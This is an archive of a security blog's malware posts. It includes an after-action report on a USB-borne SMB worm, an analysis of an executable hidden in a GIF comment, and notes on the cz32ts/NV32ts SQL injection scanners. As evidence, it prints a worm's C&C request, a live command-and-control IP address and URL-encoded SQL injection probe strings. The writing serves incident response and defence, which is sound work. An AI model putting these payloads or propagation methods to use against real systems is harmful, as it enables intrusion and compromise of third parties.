Archive for the Malware Category

Private Investigations

Posted in Case Studies, General Security, Malware, NSM, Why watch the wire? on 25 May, 2010 by Alec Waters

The following is a sanitised excerpt from an after action report on a malware infection. Like the song this post is named after, the report goes all the way from “It’s a mystery to me” to “What have you got to take away?”. The report is in two parts:

  • Firstly, a timeline of events that was constructed from the various forms of log and network flow data that are routinely collected. Although not explicitly cited in this report, evidence exists to back up all of the items in the timeline
  • The second part is an analysis of the cause of all the mischief

To set the scene, the mystery to be unraveled concerned two machines on an enterprise network which reported that they had detected and removed malware. Detected and removed? Case closed, surely? Never ones to let a malware detection go uninvestigated, we dig deeper…

Part One – Timeline of events

Unknown time, likely shortly before 08:12:37 BST
Ian Oswald attaches a USB stick to his computer. $AV_VENDOR does nothing, either because it detects no threat or because it isn’t working properly. The last message from $AV_VENDOR on Ian’s machine to $AV_MANAGEMENT_SERVER was on 30th January 2009, suggesting the latter is the case.

Based upon subsequent activity, malware is active on Ian’s machine at this point, and is running under his Windows account as a Domain Administrator. The potential for mischief is therefore largely unconstrained.

08:12:37 BST
Ian’s machine ($ATTACKER) requests the URL:

http://www.whatismyip.com/automation/n09230945.asp

This returns a page containing the outside global IP address of Ian’s machine (i.e., the IP address it will appear to have when communicating with hosts on the Internet).

Something on Ian’s machine now knows “where it is” on the Internet.

It is likely that the inside local IP address of Ian’s machine (192.168.1.11) is also determined at this point, so something on Ian’s machine also knows “where it is” within the enterprise.

08:12:39 BST
Ian’s machine requests the URL:

http://geoloc.daigu­o.com/?self

This is a geolocation site, and returns the string containing a country code.

Something on Ian’s machine now knows “where it is” geographically.

08:12:56 BST
Ian’s machine attempts to download a hostile executable. This download is blocked by $URLFILTER, which is fortunate because at the time the executable was not detected as a threat by $AV_VENDOR.

NOTE – Subsequent analysis of the executable confirms its hostile nature; detailed discussion is out of the scope of this report, but a command and control channel was observed, and steganographic techniques were used to conceal the download of further malware by hiding an obfuscated executable in the Comments extension header of a gif file.

NOTE – It was not known until later in the investigation if Ian’s machine already knew where to download the executable from, or if a command and control channel was involved. Ian’s machine was running Skype at the time, which produces sufficient network noise to occlude such a channel when only network session information is available to the investigator.

After this attempted download, Ian’s machine starts trying to contact TCP ports 139 and 445 on IP addresses that are based on the determined outside global address of Ian’s machine (xxx.yyy.49.253).

TCP139 and TCP445 are used by the SMB protocol (Windows file sharing).

The scan starts with IP address xxx.yyy.49.1, and increments sequentially. As the day progresses, the scan of xxx.yyy.49.aaa finishes, and continues to scan xxx.yyy.50.aaa and xxx.yyy.51.aaa.

This is the behaviour of a worm. Something on Ian’s machine is trying to propagate to other machines nearby.

08:13:14 BST
Ian notices a process called ip.exe running in a command prompt window on his computer and he physically disconnects it from the network. This action was taken a very creditable 41 seconds after the first suspicious network activity.

Ian attempts to stop ip.exe running and remove it from his machine, and also deletes a file called gxcinr.exe from his USB stick.

08:24:51 BST
Ian reattaches his machine to the network.

08:25:36 BST
Ian uses Google to research ip.exe, and reads a blog posting which talks about its removal. Ian considers his machine clean at this point since the most obvious indicator (ip.exe) is no longer present.

08:57:32 BST
The external sequential SMB scanning observed before the attempted cleanup restarts at xxx.yyy.49.1.

Additionally, an internal scan commences at this point of the 192.168.1.aaa subnet (i.e., the enterprise’s internal network).

As the day progresses, the scan covers 192.168.2.aaa, 192.168.3.aaa, 192.168.4.aaa, 192.168.5.aaa, 192.168.6.aaa, 192.168.7.aaa and 192.168.8.aaa before Ian’s machine is switched off for the day. These latter subnets are not in use, so no connections were made to target systems.

The scan of 192.168.1.aaa is bound to bear fruit. Within this range, any detected SMB shares on enterprise computers will be accessed with the rights of a Domain Administrator.

8:58:43 BST
$AV_VENDOR detects and quarantines a threat named “W32/Autorun.worm.zf.gen” on $VICTIM_WORKSTATION_1 (Annie Timms’ machine). The threat was in a file called gxcinr.exe, which was in C:\Users\ on Annie’s machine. $AV_VENDOR cites $ATTACKER (Ian’s machine) as the threat source. This alert was propagated to the $SIEM via $AV_MANAGEMENT_SERVER, and the $SIEM sent an alert email to the security team.

9:00:08 BST
$AV_VENDOR detects and quarantines the same threat in the same file in the same location on $VICTIM_WORKSTATION_2. Linda Charles was determined to be the logged on user at the time, and again Ian’s machine was cited as the threat source. This alert was propagated to the $SIEM via $AV_MANAGEMENT_SERVER, and the $SIEM sent an alert email to the security team.

9:34:45 BST
$AV_VENDOR on $VICTIM_SERVER_1 detects the same threat in the same file, but in a different directory (C:\Program Files\Some software v1.1\). The threat was quarantined. No threat source was noted, although a successful type 3 (network) login from Ian.Oswald was noted immediately prior to the detection, making Ian’s machine the likely attacker. Unfortunately, the detection was _not_ propagated to $AV_MANAGEMENT_SERVER, and therefore did not find its way to the $SIEM to be sent as an email.

9:37:51 BST
The same threat was detected and quarantined on $VICTIM_SERVER_2, this time in E:\Testbeds\TestOne\. Again, a type 3 login from Ian.Oswald precedes the detection, which again was not propagated to $AV_MANAGEMENT_SERVER, $SIEM or email.

9:40:00 BST
The same threat appears on $VICTIM_SERVER_3, in C:\Program Files\SomeOtherSoftware. $AV_VENDOR does not detect the threat, because it isn’t fully installed on this machine.

NOTE – Detection of gxcinr.exe on this machine was by manual means, after the malware’s propagation mechanism was deduced (see next entry). $AV_VENDOR was subsequently installed on $VICTIM_SERVER_3 and a full scan performed. For what it’s worth, this did not detect any threats.

09:46:05 BST -> 09:54:44 BST
The border $IPS sensor detected Ian’s machine connecting to and enumerating SMB shares on three machines on $ISP’s network (i.e., other $ISP customers external to the enterprise).

This clue helps us see how the malware is spreading, and why the threats were detected in the cited directories.

The malware conducts a sequential scan of IP addresses, looking for open SMB ports. If it finds one, it enumerates the shares present, picks the first one only, and copies the threat (gxcinr.exe) to that location (i.e., \\VICTIMMACHINE\FirstShare\gxcinr.exe):

  • C:\Program Files\Some software v1.1\ equates to the first share on $VICTIM_SERVER_1 – \\$VICTIM_SERVER_1\Software
  • E:\Testbeds\TestOne\ equates to the first share on $VICTIM_SERVER_2 – \\$VICTIM_SERVER_2\TestOne
  • C:\Users equates to the first share on Annie’s and Linda’s machine – \\$VICTIM_WORKSTATION_1\Users and \\$VICTIM_WORKSTATION_2\Users
  • C:\Program Files\SomeOtherSoftware equates to the first share on $VICTIM_SERVER_3 – \\$VICTIM_SERVER_3\\SomeOtherSoftware

This knowledge allows us to manually check other machines on the enterprise network by performing the same steps as the malware. Other machines and devices were found to have open file shares, but either the shares were not writeable from a Domain Administrator’s account, or there was no trace of the threat (gxcinr.exe).

Circa 14:00 BST
Ian turns his machine off and leaves the office until the following Monday.

The following Monday
Ian returns to the office and wipes his machine, installing Windows 7 in place of the previous Windows Vista. “Patient Zero” is therefore gone forever, and any understanding we could have extracted from it is lost.

END OF TIMELINE

Part Two – Analysis of gxcinr.exe

It is necessary to understand what this file is, what it does, and how it persists in order to know if we have eradicated the threat. We also need to understand if gxcinr.exe was responsible for the propagation from Ian’s machine, or if it was just the payload.

Samples of gxcinr.exe were available in five places, namely the unprotected $VICTIM_SERVER_3 server and in the quarantine folders of the four machines where $AV_VENDOR detected the threat. We reverse-engineered the quarantine file format used by $AV_VENDOR and extracted the quarantined threats for comparison.

On $VICTIM_SERVER_3 machine, the MAC times for gxcinr.exe were as follows:

Modified: aa/bb/2009 09:13
Accessed: xx/yy/2010 09:40
Created: xx/yy/2010 09:40
No file attributes were set.

Additionally, a zero-byte file called khw was found alongside gxcinr.exe. Its MAC times correlate with those of gxcinr.exe, indicating that it was either propagated along with gxcinr.exe or created by it:

Modified: xx/yy/2010 09:40
Accessed: xx/yy/2010 09:40
Created: xx/yy/2010 09:40
Attributes: RHSA

khw was also found on Linda Charles’s machine, and removed manually. No other machines had khw on them.

All five samples of gxcinr.exe were found to be identical:

File size: 808164 bytes

Hashes:
MD5 : 2511bcae3bf729d2417635cb384e3c08
SHA1 : 45fe02e4489110723c2787f3975ae7122b905400
SHA256: b656c57f037397a20c9f3947bf4aa00d762179ebf6eb192c7bc71e85ea1c17f3

VirusTotal report is here:

http://www.virustotal.com/analisis/b656c57f037397a20c9f3947bf4aa00d762179ebf6eb192c7bc71e85ea1c17f3-1272966302

The AV detection rate is pretty good, although we were the first people to submit this specific malware sample to VirusTotal for analysis (i.e., it’s a reasonably fresh variant of a malware strain).

Whilst it’s not a safe assumption to judge the nature of malware by AV vendors’ descriptions alone, most of the descriptions have AutoIt in their names. AutoIt is a scripting tool that can be used to produce executables to carry out Windows tasks. Analysis of ASCII and Unicode strings contained in the sample lends weight to this theory.

AutoIt has an executable-to-script feature, but this was unable to extract the compiled script. Research suggests that this feature has been removed from recent versions of the software as a security precaution.

The sample contains the string below, amongst many other intelligible artefacts:

“This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.”

The address above was emailed asking for help, but no response was received.

The next step was to carry out dynamic analysis of the sample (i.e., the executable was run in an instrumented and controlled environment and the results observed).

When run, gxcinr.exe did very little. There was no geolocation, no IP address determination, no instance of ip.exe, no scanning, and no second-stage download.

However, three temporary files were discovered which gxcinr.exe created and later attempted to remove:

  1. aut1F.tmp (random filename, judging by repeated runs) is binary, first four bytes is the ASCII string EA06 (http://www.virustotal.com/analisis/b3508b5a86ca4b9d972ce46dd4dcc1dcbe528a24190d2ed10a3cfcf8038c8ecd-1273577387). There is no obvious decode or deobfuscation.
  2. jbmphni (random filename, judging by repeated runs) is ASCII and starts off “3939i33t33i33t3135i33t…..”. There are many repeating patterns in the file, some of which are several tens of characters long (http://www.virustotal.com/analisis/0ad63912039550b5bdfd8a08ce5f49997ed1fced070df4d8e51cbffa500f102d-1273577394). Again, there is no obvious decode or deobfuscation.
  3. s.cmd is a cleanup script, run by gxcinr.exe after it itself has deleted the files above:

    :loop
    del “C:\gxcinr.exe”
    if exist “C:\gxcinr.exe” goto loop
    del c:\s.cmd

Running the sample in this manner yielded no obvious activity, infection, propagation or persistence.

However, if the file khw is present in the same directory as gxcinr.exe, different behaviour is observed. The three files above are extracted, the cleanup above is observed, but also:

  • A slightly modified version of the sample is copied to c:\windows\system32 as csrcs.exe. The name of the file is a deliberate attempt to hide in plain sight – there is a legitimate windows file called csrss.exe. Additionally, the file’s create and modified times are artificially set to match the date that Windows was installed. VirusTotal says this of csrcs.exe:
    http://www.virustotal.com/analisis/b656c57f037397a20c9f3947bf4aa00d762179ebf6eb192c7bc71e85ea1c17f3-1274359325
  • No attempt is made to hide csrcs.exe from detection, nor does it delete its prefetch file. No matching prefetch files were found on the machines belonging to Annie and Linda, so it is unlikely that the malware executed there. Prefetch is disabled by default on Windows Server 2003, so this kind of analysis cannot be performed on $VICTIM_SERVER_1, $VICTIM_SERVER_2, and $VICTIM_SERVER_3.
  • csrcs.exe is set to auto-run with each reboot by means of various registry keys.
  • csrcs.exe contacts a command and control server at IP address qqq.www.eee.rrr on varying ports in the 81-89 range. The request was HTTP, and looked like this:

    GET /xny.htm HTTP/1.1
    Host: http://www.hostile.com:85
    Cache-Control: no-cache

    The response is encoded somehow:

    HTTP/1.1 200 Ok
    Content-Length: 2811
    Last-modified: xxx, xx xxx 2010 11:13:30 GMT
    Content-Type: text/html
    Connection: Keep-Alive
    Server: SHS

    <zZ45sAsM8Y77V69S888S6 … snip … 80ew0kty0j4tyj004>

    There is no obvious decode of the response, but we are likely receiving instructions of some kind. Looking retrospectively at the evidence secured at the time, we can see Ian’s machine contacting this IP address:

    08:12:39.048 BST: %IPNAT-6-CREATED: tcp 192.168.1.11:50345 xxx.yyy.49.253:50345 qqq.www.eee.rrr:85 qqq.www.eee.rrr:85

    08:12:41 BST Cisco Netflow : bytes: 289 , packets: 5 , 192.168.1.11 /50345 -> qqq.www.eee.rrr /85 ­ TCP

    08:13:39.393 BST: %IPNAT-6-DELETED: tcp 192.168.1.11:50345 xxx.yyy.49.253:50345 qqq.www.eee.rrr:85 qqq.www.eee.rrr:85

    This C&C channel was not readily obvious due to the presence of Skype on Ian’s machine – there were too many other connections to random IP addresses on random ports for this to stand out.

    Despite the fact this suspected C&C channel uses unencrypted HTTP, only nominated ports are inspected via $URLFILTER (port 80 is inspected as the default, plus other ports where we have seen HTTP running in the past). At the time, 85 was not one of the nominated ports so no inspection of this traffic was carried out. Had port 85 been in the list, $URLFILTER would have blocked the request, as the destination is categorised as Malicious. It is unknown if this step would have prevented the worm from spreading, but it would have at least been another definite indicator of malice.

  • csrcs.exe then gets its external IP address and geolocation in the manner observed from Ian’s machine
  • csrcs.exe then starts scanning in the manner observed from Ian’s machine
  • csrcs.exe infects other machines in the manner observed from Ian’s machine

In our tests, csrcs.exe created a file on each remote victim machine called owadzw.exe, and put the file khw alongside it (suggesting that gxcinr.exe is a randomly generated filename). We did not observe any attempt to execute owadzw.exe, nor were any registry keys modified. The malware appears to spread, but seems to rely on manual execution when the remote file share is on a fixed disk.

However, if the file share that is accessed is removable media (USB stick, camera, MP3 player or whatever), an autorun.inf file is created that will execute the malware when the stick is inserted in another computer. It is likely therefore that Ian’s USB stick was infected in this manner, and the malware was unleashed on the enterprise by virtue of him plugging it in.

The VirusTotal result for owadzw.exe is similar to the results for gxcinr.exe and csrcs.exe, so they are all likely to be slight variations of one another:

http://www.virustotal.com/analisis/b656c57f037397a20c9f3947bf4aa00d762179ebf6eb192c7bc71e85ea1c17f3-1274356524

We did not observe csrcs.exe trying to download any other executables, as was the case with Ian’s machine, nor did we observe ip.exe running on an infected machine.

Aside from spreading, the purpose of the malware is unknown. However, it is persistent (i.e., it will run every time you start your machine) and it does appear to have a command and control facility. It is entirely possible that at some later date it will ask for instructions and be told to carry out some other kind of activity (spamming, DOS, etc.) or it may download additional components (keyloggers, for example).

Where do we stand?

We understand the malware’s behaviour, and know how to look for indicators of it running both in terms of network activity and residual traces on the infected host. At present there are none, so we appear to be clean.

What went right?

  • An incident was triggered by virtue of an explicit indicator of malice (the $AV_VENDOR alerts from Annie’s and Linda’s machines).
  • Where functioning properly, $AV_VENDOR prevented the spread of the malware.
  • $URLFILTER blocked a malicious download.
  • We were able to preserve and analyse sufficient evidence in total absence of Patient Zero (Ian’s machine) for us to understand how the malware spreads. This let us carry out a comprehensive search for any other, undetected, infections (like the one on $VICTIM_SERVER_3).
  • We were able to recover a sample of the malware and analyse it to the extent that we can say with a good degree of confidence that it was present on Ian’s USB stick, and was responsible for the whole incident (as opposed to merely being the payload for some other unknown malware that had been running on Ian’s machine for an unknown period of time).
  • We were able to sharpen our detection of the malware, now that we know how it behaves.

What went wrong?

  • The infection was not stopped at its point of entry (Ian’s machine), most likely because $AV_VENDOR wasn’t working properly.
  • The malware executed as a Domain Administrator, effectively unlimiting the damage it could have caused.
  • The malware spread outside of the enterprise and infected other machines.
  • The malware infected an enterprise machine unprotected by $AV_VENDOR.
  • $VICTIM_SERVER_1 and $VICTIM_SERVER_2 did not report their infection to $AV_MANAGEMENT_SERVER. These detections were only discovered as part of the evidence preservation process.
  • $URLFILTER did not block the C&C channel due to the way it was configured.
  • The $IPS didn’t fire any “scanner” signatures.
  • No statistical alarms were raised by the $SIEM.

What can be changed or done better?

  • A review of the state of the $AV_VENDOR deployment should be carried out. We need to know what the coverage is like, how well the updates are working, and why certain machines don’t report to $AV_MANAGEMENT_SERVER.
  • Some form of USB device control should be implemented.
  • People with Administrative rights on the enterprise network should have two accounts, one “Admin” account and one “Normal” account. The Normal account should be used day-to-day, with the Admin account used only where necessary. This would put a cap on the capability of any malware that is able to run.
  • Unnecessary fileshares should be removed. It was determined experimentally that if you share anything within any user profile on a Vista or Win7 machine, the entire c:\users\ directory gets shared. This was the case on Annie’s and Linda’s machines.
  • The presence of Skype doesn’t help when dealing with an incident like this.
  • If a tighter outbound port filtering policy was applied, then the command and control channel would have been blocked, as would the worm’s attempts to propagate outside of the enterprise.

END OF REPORT

The production of this report would not have been possible without the routine collection of evidence from everything-you-can-lay-your-hands-on – servers, routers, switches, AV servers, URL filters and IPS devices all contributed to the report (notable things that did not contribute to the report are Ian’s machine and his USB stick, since they were wiped before they could play a part).

Without these event sources, all we’d have had were two reports of removed malware. Hardly cause for alarm, surely….


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters(at)dataline.co.uk

Malware in a bottle

Posted in Malware on 4 May, 2010 by Alec Waters

I came across this today whilst following up on a compromise; it seems to use a novel (for me) way of sneaking stuff past a network’s border controls. If anyone with better malware analysis sKillZ than me can shed any light, I’m all ears!

The sample in question is a second-stage download called install.48534.exe. Virustotal has this to say about it:

http://www.virustotal.com/analisis/17f61135d6aa063139fb14e9f86ec70e27557e8524eee3bee2baa234e212a00e-1272978788

More interesting is what Anubis has to say:

http://anubis.iseclab.org/?action=result&task_id=1c72dcd41600b7ed4492fa4abddd13805

For better or worse, my focus is on the sample’s network activity. Malware will almost always use the network to do things like receive commands or steal data, so it’s a good source of evidence. There’s a good bit of network activity here, and Anubis kindly lets us have it as a pcap. Let’s take a look.

There are four HTTP POSTs, each with a preceding DNS query. POSTs can be bad, because not all border defences inspect them. The user-agent in each case indicates that wget may have used, and they all seem to send what appears to be BASE64 encoded parameters. Decoding them yields little fruit; the level of obfuscation goes beyond plain BASE64. The first request is fundamentally different to the last three – speculating further, perhaps we’re looking at a hit on a C&C server followed by traces of the C&C server’s orders being carried out?

In any case, only the second POST returns a decent amount of data, which is a GIF according to Wireshark. File->Export->Objects->HTTP shows us a list of exportable objects, and we can save it off to disk.

And here it is, sanitised and converted to PNG:

Here’s where it gets interesting. The dimensions of the GIF are only 143×74, and yet it’s 266KB in size. That seems a little on the large size for an image so small. What’s bloating it out?

Wireshark is a cunning beast that can dissect not just network protocols, but certain filetypes too – GIF is one of them:

Now we can start to see where all the bulk is. Expanding the “Image” subtree shows 27 255-byte data blocks that comprise the image. After clicking around a bit more, we can see there’s a subtree titled “Extension: Comment” with many data blocks under it – here’s our anomaly.

So what is it? Well, we can start to extract it out by right-clicking on the “Extension: Comment” subtree and selecting “Export selected packet bytes”. Save it off to disk and open it up in a hex editor, because we’ve got some trimming to do.

The first thing we have to do is get rid of the first two bytes (0x21 and 0xfe) which denotes the presence of an Extension Introducer of type Comment Label. The next thing we have to do is remove all of the length indicators for each of the data blocks. Just like the image portion of a GIF file, the comment is split into a variable number of up-to-256-byte data blocks with the first byte denoting the block’s length. These length indicators are polluting our extract, and need to be removed by starting at byte zero and deleting that and every 256th byte plus the trailing 0x00. I wrote a quick C executable to do it, but I’m sure someone could knock up a little script to do the job.

Finally, we have our extracted file. I have no idea what it is or what it’s for! It could exploit a bug in some GIF parsing routine somewhere, but it looks a little large for shellcode (and don’t forget that this was downloaded by a second-stage download in the first place). It’s binary in nature, and has no discernible strings or magic bytes. If I had to guess I’d say it was an obfuscated executable of some kind, perhaps even the Hbz.exe that Anubis said got created and executed by our original sample? It certainly smells like a covert channel.

So, any ideas, anyone? Let me know if you want the pcap or the extracted comment. I’d be most grateful if anyone has some answers!

:)


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters(at)dataline.co.uk

How cz32ts determines if your site is vulnerable to SQL Injection

Posted in General Security, Malware on 17 November, 2009 by Alec Waters

cz32ts will append some SQL to a URL given to it by its C&C server at 205.209.143.94, and will fetch the results. It then phones home the results of its mischief like this:

C&C: +OK LINK-SERVER READY
cz32ts: CMD PUTLINK http://some.victim.url?sql=goes&after=this InjectAsp:YES
C&C: Finished.

It’s the InjectAsp:YES that denotes a successful SQL Injection vulnerability assessment. Given the appended SQL described in this post, cz32ts is looking simply for:

|number|

…in the page handed back by the server under test. If this pattern appears anywhere on the page, it will report InjectAsp:YES to the C&C server. Even error reports are sufficient, because they indicate that the injected SQL was executed and that the server is ripe for exploitation:

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the varchar value ‘|98|’ to data type int.

If you’ve been paid a visit by cz32ts, it’s probably a good idea to replay its requests (based upon the parameter string in your web server’s logfiles) and check the responses for the pattern |number| – if it’s there, you’ve got a vulnerability that needs addressing. A vulnerability that the bad guys know about already!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters(at)dataline.co.uk

TL32Sn – feeder for cz32ts?

Posted in General Security, Malware on 17 November, 2009 by Alec Waters

TL32Sn does Google searches. cz32ts performs tentative SQL Injection reconnaissance. Both are controlled by the same server.

Perhaps TL32Sn’s role in life is to build a list of URLs for cz32ts to try? Perhaps the “inurl” part of TL32Sn’s query represents a fingerprint search for known vulnerable web apps? Once it’s done the Google search and has got a list of results (shortened by the presence of the seemingly irrelevant keyword), does it phone these home to 205.209.143.94 for cz32ts to check out later on?


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters(at)dataline.co.uk

TL32Sn – twisted cousin of cz32ts and NV32ts

Posted in General Security, Malware on 15 November, 2009 by Alec Waters

I’ve come across TL32Sn.exe (Anubis report, VirusTotal report), which appears to be related to cz32ts and NV32ts. Aside from the similar format of the name of the executable, it shares the same C&C server at 205.209.143.94.

cz32ts used port 8998 to get a list of URLs to attack, and the same port to report the results back. TL32Sn uses port 8999 instead, and via a command called PHPGETURL retrieves URLs like this:

http://66.102.11.99/search?hl=en&num=100&newwindow=1&q=cholecystokinin+inurl:asp%3Fcontent%3D&start=300&sa=N

http://66.249.89.44/search?hl=en&num=100&newwindow=1&q=chopin+inurl:asp%3Fnode%3D&start=300&sa=N

These are Google searches which TL32Sn duly carries out (the user agent is TL32Sn.exe). There are lots more questions here:

  • Why start at result #300?
  • Why didn’t they say inurl:”asp?content=” instead of the less effective inurl:asp?content=
  • Why are they searching for cholecystokinin and chopin anyway? The two URLs above were fetched within half an hour of one another – perhaps these words are from an ordered list of search terms?

One thing is for certain – 205.209.143.94 is at the heart of all this!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters(at)dataline.co.uk

cz32ts – an interesting banana!

Posted in General Security, Malware on 13 November, 2009 by Alec Waters

I think I’ve found the cz32ts executable – VirusTotal has this to say about it. What is more interesting is what Anubis has to say about it – check out the Network Activity section.

Basically, the executable goes off to a C&C server on 205.209.143.94 for a list of URLs to attack using the GETPHPURL command. It then tries to SQL inject the victim site, using the executable name as its user agent (all of the ones in my capture have i1 as the user agent, because that was the name of the executable I retrieved). Once the SQL injection tests have been carried out, it then reconnects to the C&C server to report the result of the attempt using the CMDPUTLINK command.

I have no idea how cz32ts.exe is distributed, but it would seem like the ideal thing for a dropper to pull down and set to run once on startup.

Anyone fancy shutting down 205.209.143.94?


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters(at)dataline.co.uk

cz32ts – evil twin of NV32ts?

Posted in General Security, Malware on 13 November, 2009 by Alec Waters

There is an update to this post here.

In the past, we’ve seen various automated SQL Injection attempts bearing a User-Agent of NV32ts. It’s all a little odd, since:

  • The attempts are dead easy to spot, thanks to the user agent (there’s even a Snort rule for detecting it)
  • The attempts could be described as recon-only, since they didn’t seek to change anything.

Two injection attempts would be made by the attacker. The injected SQL would look like this:

%20And%20char(124)%2b(Select%20Cast(Count(1)%20as
%20varchar(8000))%2Bchar(124)%20From%20[sysobjects]
%20Where%201=1)>0

And this:

‘%20And%20char(124)%2b(Select%20Cast(Count(1)%20as
%20varchar(8000))%2Bchar(124)%20From%20[sysobjects]
%20Where%201=1)>0%20and%20”=’

These two cover the cases for vulnerable non-string and string parameters, and each case would be attached to the end of  the URL under test, after the last parameter. We’d usually see a spate of attempts in a short space of time from different source IP addresses, possibly suggesting that some botnet or other is doing all the work (possibly even Conficker).

Yesterday, we saw another run of attempts with the same pattern. A handful of source IP addresses targetted the same victim websites, each trying the same URL twice, appending the same two SQL statements as above. The only difference is the user agent – what was NV32ts has become cz32ts.

It’s still something of a mystery, though. Why use such a distinctive user agent? Why change it? What are the baddies looking for? If they’re going to go to the bother of scanning for sites vulnerable to SQL injection, why don’t they just try to inject something? Why conduct all this recon, when it would be difficult to reliably detect if you’re actually talking to a vulnerable site? Are the botmasters selling lists of potentially vulnerable sites rather than exploiting them themselves?

Any ideas?


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters(at)dataline.co.uk

Follow

Get every new post delivered to your Inbox.

Join 33 other followers